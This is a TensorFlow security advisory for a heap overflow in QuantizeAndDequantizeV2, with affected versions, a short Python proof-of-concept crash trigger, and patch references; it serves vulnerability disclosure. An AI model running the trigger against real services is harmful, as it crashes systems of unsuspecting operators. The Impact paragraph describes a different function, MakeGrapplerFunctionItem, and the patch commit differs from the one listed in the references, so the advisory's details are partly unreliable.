GHSA-frqp-wp83-qggv
Heap overflow in `QuantizeAndDequantizeV2`
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| PyPI | tensorflow | < 2.8.4 | 2.8.4 |
| PyPI | tensorflow | >= 2.9.0, < 2.9.3 | 2.9.3 |
| PyPI | tensorflow | >= 2.10.0, < 2.10.1 | 2.10.1 |
| PyPI | tensorflow-cpu | < 2.8.4 | 2.8.4 |
| PyPI | tensorflow-gpu | < 2.8.4 | 2.8.4 |
| PyPI | tensorflow-cpu | >= 2.9.0, < 2.9.3 | 2.9.3 |
| PyPI | tensorflow-gpu | >= 2.9.0, < 2.9.3 | 2.9.3 |
| PyPI | tensorflow-cpu | >= 2.10.0, < 2.10.1 | 2.10.1 |
| PyPI | tensorflow-gpu | >= 2.10.0, < 2.10.1 | 2.10.1 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Impact
The function [MakeGrapplerFunctionItem](https://https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/grappler/utils/functions.cc#L221) takes arguments that determine the sizes of inputs and outputs. If the inputs given are greater than or equal to the sizes of the outputs, an out-of-bounds memory read or a crash is triggered.
```python
import tensorflow as tf
@tf.function
def test():
tf.raw_ops.QuantizeAndDequantizeV2(input=[2.5],
input_min=[1.0],
input_max=[10.0],
signed_input=True,
num_bits=1,
range_given=True,
round_mode='HALF_TO_EVEN',
narrow_range=True,
axis=0x7fffffff)
test()
```
### Patches
We have patched the issue in GitHub commit [7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb](https://github.com/tensorflow/tensorflow/commit/7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb).
The fix will be included in TensorFlow 2.11.0. We will also cherrypick this commit on TensorFlow 2.10.1.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-frqp-wp83-qggv
- https://nvd.nist.gov/vuln/detail/CVE-2022-41910
- https://github.com/tensorflow/tensorflow/commit/a65411a1d69edfb16b25907ffb8f73556ce36bb7
- https://github.com/tensorflow/tensorflow
- https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/grappler/utils/functions.cc#L221